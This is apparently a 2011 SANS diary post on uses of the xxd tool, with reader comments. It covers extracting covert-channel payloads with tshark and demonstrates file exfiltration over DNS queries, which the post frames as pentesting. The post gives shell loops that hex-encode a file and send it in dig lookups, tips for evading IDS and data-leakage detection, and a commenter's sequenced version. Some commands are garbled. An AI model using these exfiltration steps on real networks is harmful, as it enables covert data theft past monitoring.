Packet Tricks with xxd

Published: 2011-01-25
Last Updated: 2011-01-25 13:35:30 UTC
by Johannes Ullrich (Version: 1)
3 comment(s)

I just got done teaching For 558, our relatively new Network Forensics class. Great students and some great side discussions. One of this side discussions involved 'xxd', a tool that can be used to create a hex dump from a binary file or reverse a hex dump back into a binary file. For example:

xxd index.html | head -1
0000000: 3c21 444f 4354 5950 4520 6874 6d6c 200a  <!DOCTYPE html .

 The tool is even flexible enough to be used in vi (try: vi -b with %!xxd or %!xxd -r to "undo" it before saving)

The tool is very handy, two uses that came up in class:

1. Stripping headers and extracting data from a covert channel.

One method to establish a covert channel is to take the original packet, and wrap it into an encapsulating header. For example an ICMP or a DNS packet. The trick is to extract the payload, save it in a new file, and treat it as a new packet capture. The 'packetstan' blog [1] outlines one way to do so via scapy. But scapy is not as commonly installed and available as other tools like for example tshark (and well, xxd).

tshark can easily be used to extract the payload in hexadecimal format:

tshark -T fields -e data

to convert the hexadecimal payload into a binary files, just run it through xxd:

tshark -T fields -e data | xxd -r -p

The "-p" option will just accept a stream of hexadecimal data, without it, xxd expects it to be encoded in the very specific format usually see with xxd.

2. File transfer via DNS

Another nice idea I demoed in class is a file transfer via DNS that works without special tools. For pentesters, this is helpful as it will first of all sneak past many firewalls, and secondly you do not need to install any special tools that may be picked up by anti-malware.

This idea is along the lines of what is discussed in Kevin Bong's SANS Master's project [2].

First, we convert the file to be transferred via xxd into a hex stream.

xxd -p secret > file.hex

next, we read each line from file.hex, and "transmit" it as a DNS query.

for b in `cat file.hex `; do dig $; done

This does not need special privileges. On the DNS server, we can capture the messages via tcpdump or the query log.

tcdpump -w /tmp/dns -s0 port 53 and host

Then, we extract the messages from the packet capture

 tcpdump -r dnsdemo -n | grep | cut -f9 -d' ' | cut -f1 -d'.' | uniq > received.txt

The "uniq" may not be necessary, but I find that the DNS messages may be resend once in a while if the response isn't fast enough.

Finally, just reverse the hex encoding:

xxd -r -p < receivedu.txt > keys.pgp

And you are done! FTDNS (File Transfer via DNS) without installing any special tools on ""

Bonus: shorter lines from xxd and maybe a quick xor may make it even harder for an IDS/Data Leakage system to "see" this kind of data.

Defense: Watch you DNS logs!


Johannes B. Ullrich, Ph.D.
SANS Technology Institute

3 comment(s)


In the first cut command, is it supposed to be field 8? Field 8 here is the hex output.
I also am a fan of xxd. During my time monitoring IDS logs, I found it to be very useful. It's interesting to know that others are using it in similar ways.
I was thinking about ways around the potential for UDP transmits, and it seemed trivial to add sequential chunk IDs as a "subdomain" to the queries:

seq=0; for chunk in `cat file.hex`; do ((seq=$seq+1)); fseq=`printf "%04d" $seq`; dig +short ${chunk}.${fseq}.subdomain.domain.tld; done

We could even embed checksum info in there too, if we wanted. And, of course, we could vary the chunk size and the query timing to fly low and slow in order to evade detection further...

Diary Archives